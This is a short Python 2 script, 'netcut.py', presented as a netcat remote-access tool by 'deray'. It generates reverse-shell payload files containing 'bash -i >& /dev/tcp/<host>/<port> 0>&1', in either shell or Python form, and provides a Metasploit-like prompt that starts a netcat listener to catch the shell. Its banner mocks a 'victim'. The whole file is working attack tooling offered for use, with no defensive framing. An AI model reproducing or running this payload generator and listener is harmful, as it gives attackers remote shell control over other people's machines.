netcut.py

# netcat rat by deray
import subprocess
from sys import argv
import time,os
banner = """
 __________________________
< u wanna like me? -victim >
 --------------------------
  \                 __
   \               (oo)
    \              (  )
     \             /--\\
       __         / \  \
      UooU\.'@@@@@@`.\  )
      \__/(@@@@@@@@@@) /
           (@@@@@@@@)((
           `YY~~~~YY' \\
            ||    ||   >> nCAT by Deray


 """
set = """
  name    description      current setting
  ----    -----------      ---------------
  host    host to listen   {}
  port    port to listen   {}
  exit    byee
"""
# generate payload
# ex: python nc.py LHOST=192.168xx LPORT=4444 -R payload.sh
def pyGen():
    c=argv[1]
    d=argv[2]
    e=argv[4]
    if c != "LHOST=" and d !="LPORT=" and e !="-R":
        print "lhost  :",c.replace("LHOST=","")
        print "lport  :",d.replace("LPORT=","")
        print "output : {}/{}".format(os.getcwd(),e)
        print "generating payload ..."
        time.sleep(3)
        if ".py" in e:
            try:
                file=open(e,"w")
                file.write("import subprocess,time\nsubprocess.Popen('bash -i >& /dev/tcp/"+c.replace("LHOST=","")+"/"+d.replace("LPORT=","")+" 0>&1',stdin=subprocess.PIPE,stderr=subprocess.PIPE,stdout=subprocess.PIPE);time.sleep(4)")
                file.close()
                print "payload created {} bytes ...".format(os.path.getsize(e))
            except:
                print "failed to generating payload: unknown path",e
        else:
            try:
                file=open(e,"w")
                file.write("bash -i >& /dev/tcp/{}/{} 0>&1".format(c.replace("LHOST=",""),d.replace("LPORT=","")))
                file.close()
                print "payload created {} bytes ...".format(os.path.getsize(e))
            except:
                print "failed to generating payload: unknown path",e
    else:
        print "ussage: "+argv[0]+" LHOST=192.168xxx LPORT=4444 -R payload.sh/payload.py"

# Listen menu
class main():
    def __init__(self):
        self.ip=""
        self.port=""
        self.cek()
    def cek(self):
        while True:
            s=raw_input("netcatRAT~$ ")
            if "set host" in s.lower() or "set lhost" in s.lower():
                self.ip=s.split()[-1]
                if self.ip == "ip":
                    print "[+] failed to input host",self.ip+" did u mean?";self.ip=""
                else:
                    print "LHOST =>",self.ip
            elif "set port" in s.lower() or "set lport" in s.lower():
                self.port=s.split()[-1]
                if self.port == "port":
                    print "[+] failed to input port",self.port+" did u mean?";self.port=""
                else:
                    print "LPORT =>",self.port
            elif "?" in s or "help" in s:
                print set.format(self.ip,self.port)
            elif "run" in s.lower():
                if self.ip is not "" and self.port is not "":
                    print "[+] Listening on LPORT",self.ip+":"+self.port+" ..."
                    os.system("nc -l -p %s"%(self.port))
                else:
                    print "[-] Sorry host or port is not set."
            elif "exit" in s.lower():
                exit()
            elif s == "":
                return self.cek()
            else:
                print "[-] Unknown command:",s+" type 'help' for more options'"


if __name__ == "__main__":
    if len(argv) !=1:
        try:
            if (os.system("which nc") !=0):
                print "[-] netcut program is not installed :')"
                exit()
            else:
                os.system("clear")
                pyGen()
        except:
            print "ussage: "+argv[0]+" LHOST=192.168xxx LPORT=4444 -R payload.sh"
    else:
        if (os.system("which nc") !=0):
            print "[-] netcut program is not installed :')"
            exit()
        else:
            os.system("clear")
            print(banner)
            main()